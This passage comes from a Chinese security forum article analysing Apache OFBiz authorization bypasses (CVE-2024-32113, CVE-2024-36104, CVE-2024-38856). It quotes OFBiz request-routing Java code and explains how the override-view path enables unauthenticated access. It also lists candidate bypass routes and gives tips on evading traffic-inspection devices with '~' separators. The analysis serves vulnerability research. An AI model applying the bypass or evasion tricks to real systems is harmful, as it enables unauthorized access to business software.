这时候就会有人问,这里不是都绕过`hasBasePermission`了么?为什么还需要密码?这里再带大家梳理一遍 1. 我们要利用的功能点`ProgramExport`(对应第二点提到的Path)其属性auth为`true`,代表需要鉴权,路由功能是通过path决定的(`requestMapMap.get(requestUri)`\\=>`getRequestUri(path);`\\=>`req.getPathInfo();`) 2. 需要鉴权就需要通过extensionCheckLogin完成,在这个函数中先校验用户名密码 3. 用户名密码正确,之后通过函数`hasBasePermission`判断是否有对应路径权限,而我们使用带`../`的路径绕过`hasBasePermission`权限校验 ```java // org.apache.ofbiz.webapp.control.RequestHandler#doRequest Collection<RequestMap\> rmaps \= resolveURI(ccfg, request); if (rmaps.isEmpty()) { if (throwRequestHandlerExceptionOnMissingLocalRequest) { throw new RequestHandlerException(requestMissingErrorMessage); } else { throw new RequestHandlerExceptionAllowExternalRequests(); } } String method \= request.getMethod(); RequestMap requestMap \= resolveMethod(method, rmaps).orElseThrow(() \-> { String msg \= UtilProperties.getMessage("WebappUiLabels", "RequestMethodNotMatchConfig", UtilMisc.toList(requestUri, method), UtilHttp.getLocale(request)); return new MethodNotAllowedException(msg); }); // org.apache.ofbiz.webapp.control.RequestHandler#resolveURI static Collection<RequestMap\> resolveURI(ControllerConfig ccfg, HttpServletRequest req) { Map<String, List<RequestMap\>> requestMapMap \= ccfg.getRequestMapMap(); Map<String, ConfigXMLReader.ViewMap\> viewMapMap \= ccfg.getViewMapMap(); String defaultRequest \= ccfg.getDefaultRequest(); String path \= req.getPathInfo(); String requestUri \= getRequestUri(path); String viewUri \= getOverrideViewUri(path); Collection<RequestMap\> rmaps; if (requestMapMap.containsKey(requestUri) // Ensure that overridden view exists. && (viewUri \== null || viewMapMap.containsKey(viewUri) || ("SOAPService".equals(requestUri) && "wsdl".equalsIgnoreCase(req.getQueryString())))){ rmaps \= requestMapMap.get(requestUri); } else if (defaultRequest != null) { rmaps \= requestMapMap.get(defaultRequest); } else { rmaps \= null; } return rmaps != null ? rmaps : Collections.emptyList(); } ``` 因此必须要有低权限账号,这个漏洞完成的只是低权限账号的权限提升 ### CVE-2024-32113/CVE-2024-36104 从commit不难看出 <https://github.com/apache/ofbiz-framework/commit/b91a9b7f26> <https://github.com/apache/ofbiz-framework/commit/b3b87d98dd> 聪明的开发者知道对contextPath做normalize处理 ![image-20240624002738505.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-df65aaab8ae19fbdedb59e0d57cb80194849250a.png) ![image-20240624004058286.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-91488ef3b8e4d819c8db38901277efa66759e8e0.png) 然而狡猾的黑客又聪明的次实现了绕过,毕竟无论是getRequestURI还getRequestURL都不会做url解码,另外也可以配合分号的使用绕过校验 ![image-20240624004152877.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-a96653fb1df5f52a069a37d4101db168dbcd9b0c.png) 这下开发者一个头两个大,最终还是通过正则完成了漏洞的修复 <https://github.com/apache/ofbiz-framework/commit/d33ce31012> ![image-20240624004600901.png](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-08760574bb94f3a4a502dc5d241c62009ee88182.png) 然而真的完结了么? CVE-2024-38856权限绕过浅析 -------------------- 接着上文埋下的坑,在对漏洞的分析过程中我发现一个有趣的点 在这里默认情况下我们渲染的视图为`nextRequestResponse.value`,说人话就是根据我们路由的返回结果来自动选择视图,这里分为三种情况 一种是定义了event的路由(通常是不需要鉴权的),会根据对应event的执行结果决定渲染类型 另一种是没有定义event的路由,但security中auth为true的路由,会根据认证返回结果决定渲染类型 最后一种则是既没有定义event、又没有认证的路由,这种会直接取配置中success的结果对应的值作为渲染类型 ```java if ("view".equals(nextRequestResponse.type)) { if (Debug.verboseOn()) Debug.logVerbose("\[RequestHandler.doRequest\]: Response is a view." + showSessionId(request), module); // check for an override view, only used if "success" = eventReturn String viewName \= (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn \== null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value; renderView(viewName, requestMap.securityExternalView, request, response, saveName); } ``` 而在这里我们不难看出如果变量overrideViewUri存在,并且事件返回为success,那么渲染的视图则为overrideViewUri的值,对于攻击者而言以上的几种情况,毫无疑问,我们自然是优先选择第三种未授权的情形 那么接下来我们就要看看overrideViewUri如何控制,对于非链式请求,其取值在两个地方存在,一是预处理当returnString不为success时,但是我们一开始简单给大家展示过这些预处理事件,通常对于正常访问来说这些校验都是直接通过的我们不必过多关注 ```java // Invoke the pre-processor (but NOT in a chain) for (ConfigXMLReader.Event event: ccfg.getPreprocessorEventList().values()) { try { String returnString \= this.runEvent(request, response, event, null, "preprocessor"); if (returnString \== null || "none".equalsIgnoreCase(returnString)) { interruptRequest \= true; } else if (!"success".equalsIgnoreCase(returnString)) { if (!returnString.contains(":\_protect\_:")) { throw new EventHandlerException("Pre-Processor event \[" + event.invoke + "\] did not return 'success'."); } else { // protect the view normally rendered and redirect to error response view returnString \= returnString.replace(":\_protect\_:", ""); if (returnString.length() \> 0) { request.setAttribute("\_ERROR\_MESSAGE\_", returnString); } eventReturn \= null; // check to see if there is a "protect" response, if so it's ok else show the default\_error\_response\_view if (!requestMap.requestResponseMap.containsKey("protect")) { if (ccfg.getProtectView() != null) { overrideViewUri \= ccfg.getProtectView(); } else { overrideViewUri \= EntityUtilProperties.getPropertyValue("security", "default.error.response.view", delegator); overrideViewUri \= overrideViewUri.replace("view:", ""); if ("none:".equals(overrideViewUri)) { interruptRequest \= true; } } } } } } catch (EventHandlerException e) { Debug.logError(e, module); } } } ``` 另一个就是程序一开头的代码片段中,分别通过path获取了requesturi以及overrideViewUri ```java String path = request.getPathInfo(); String requestUri = getRequestUri(path); String overrideViewUri = getOverrideViewUri(path); ``` 前者用于在resolveURI取得路由配置,后者则用于视图渲染,而如果我们仔细看这两个函数的实现我们会发现,requesturi取的是path第一个/及之后的值,而overrideViewUri取的是path第二个/及之后的值,看到这里我们不由发现,如果我们将path后第一个/后的路由设置为不鉴权且路由的type为view。而第二个/后的设置为需要利用的路由,那么我们便能实现权限的绕过了。 ```java public static Collection<RequestMap\> resolveURI(ControllerConfig ccfg, HttpServletRequest req) { Map<String, List<RequestMap\>> requestMapMap \= ccfg.getRequestMapMap(); Map<String, ConfigXMLReader.ViewMap\> viewMapMap \= ccfg.getViewMapMap(); String defaultRequest \= ccfg.getDefaultRequest(); String path \= req.getPathInfo(); String requestUri \= getRequestUri(path); String viewUri \= getOverrideViewUri(path); Collection<RequestMap\> rmaps; if (requestMapMap.containsKey(requestUri) // Ensure that overridden view exists. && (viewUri \== null || viewMapMap.containsKey(viewUri) || ("SOAPService".equals(requestUri) && "wsdl".equalsIgnoreCase(req.getQueryString())))){ rmaps \= requestMapMap.get(requestUri); } else if (defaultRequest != null) { rmaps \= requestMapMap.get(defaultRequest); } else { rmaps \= null; } return rmaps != null ? rmaps : Collections.emptyList(); } public static String getRequestUri(String path) { List<String\> pathInfo \= StringUtil.split(path, "/"); if (UtilValidate.isEmpty(pathInfo)) { Debug.logWarning("Got nothing when splitting URI: " + path, module); return null; } if (pathInfo.get(0).indexOf('?') \> \-1) { return pathInfo.get(0).substring(0, pathInfo.get(0).indexOf('?')); } else { return pathInfo.get(0); } } public static String getOverrideViewUri(String path) { List<String\> pathItemList \= StringUtil.split(path, "/"); if (pathItemList \== null) { return null; } pathItemList \= pathItemList.subList(1, pathItemList.size()); String nextPage \= null; for (String pathItem: pathItemList) { if (pathItem.indexOf('~') != 0) { if (pathItem.indexOf('?') \> \-1) { pathItem \= pathItem.substring(0, pathItem.indexOf('?')); } nextPage \= (nextPage \== null ? pathItem : nextPage + "/" + pathItem); } } return nextPage; } ``` 可利用的点 ----- 根据以上的分析其实可利用的点有很多,简单写一个xml解析工具提取,以下结果以`|`分隔,不一定都能用,简单跑了一下xml程序解析 ```php secureCertDateTime|view|main|checkLogin|ajaxCheckLogin|login|forgotPassword|forgotPasswordReset|ListLocales|ListTimezones|ListSetCompanies|showHelpPublic|getUiLabels|editPortalPageColumnWidth|FixedAssetSearchResults|BudgetSearchResults|reconcileFinAccountTrans|assignGlRecToFinAccTrans|addGiftCertificateSurvey|addCategoryDefaults|crosssell|ViewSimpleContent|ViewSimpleContent|createWebSiteContactList|updateWebSiteContactList|deleteWebSiteContactList|viewImage|listMiniproduct|FacilitySearchResults|contactListOptOut|createWebSiteContactList|updateWebSiteContactList|deleteWebSiteContactList ``` 对抗流量设备的点 -------- 围绕以下两个函数即可,可以在路由中添加`~`之类的做分隔,当然还有其他姿势这里就不展开了 ```java public static String getRequestUri(String path) { List<String\> pathInfo \= StringUtil.split(path, "/"); if (UtilValidate.isEmpty(pathInfo)) { Debug.logWarning("Got nothing when splitting URI: " + path, module); return null; } if (pathInfo.get(0).indexOf('?') \> \-1) { return pathInfo.get(0).substring(0, pathInfo.get(0).indexOf('?')); } else { return pathInfo.get(0); } } public static String getOverrideViewUri(String path) { List<String\> pathItemList \= StringUtil.split(path, "/"); if (pathItemList \== null) { return null; } pathItemList \= pathItemList.subList(1, pathItemList.size()); String nextPage \= null; for (String pathItem: pathItemList) { if (pathItem.indexOf('~') != 0) { if (pathItem.indexOf('?') \> \-1) { pathItem \= pathItem.substring(0, pathItem.indexOf('?')); } nextPage \= (nextPage \== null ? pathItem : nextPage + "/" + pathItem); } } return nextPage; } ```
发表于 2024-08-20 09:54:47
阅读 ( 2784 )
分类:
Web应用
0 推荐
收藏
0 条评论
请先
登录
后评论
Y4tacker
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!